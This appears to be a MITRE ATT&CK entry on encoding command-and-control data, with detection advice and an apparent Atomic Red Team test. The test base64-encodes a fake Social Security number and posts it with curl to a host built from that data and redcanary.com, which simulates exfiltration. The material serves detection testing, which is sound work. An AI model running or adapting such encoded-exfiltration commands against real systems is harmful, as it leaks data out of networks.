Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis
Permissions Required: User
Requires Network: Yes
Contributors: Itzik Kotler, SafeBreach
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: macOS, Linux
| Name | Description | Type | Default Value |
|---|---|---|---|
| destination_url | Destination URL to post encoded data. | string | redcanary.com |
| base64_data | Encoded data to post using fake Social Security number 111-11-1111. | string | MTExLTExLTExMTE= |
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}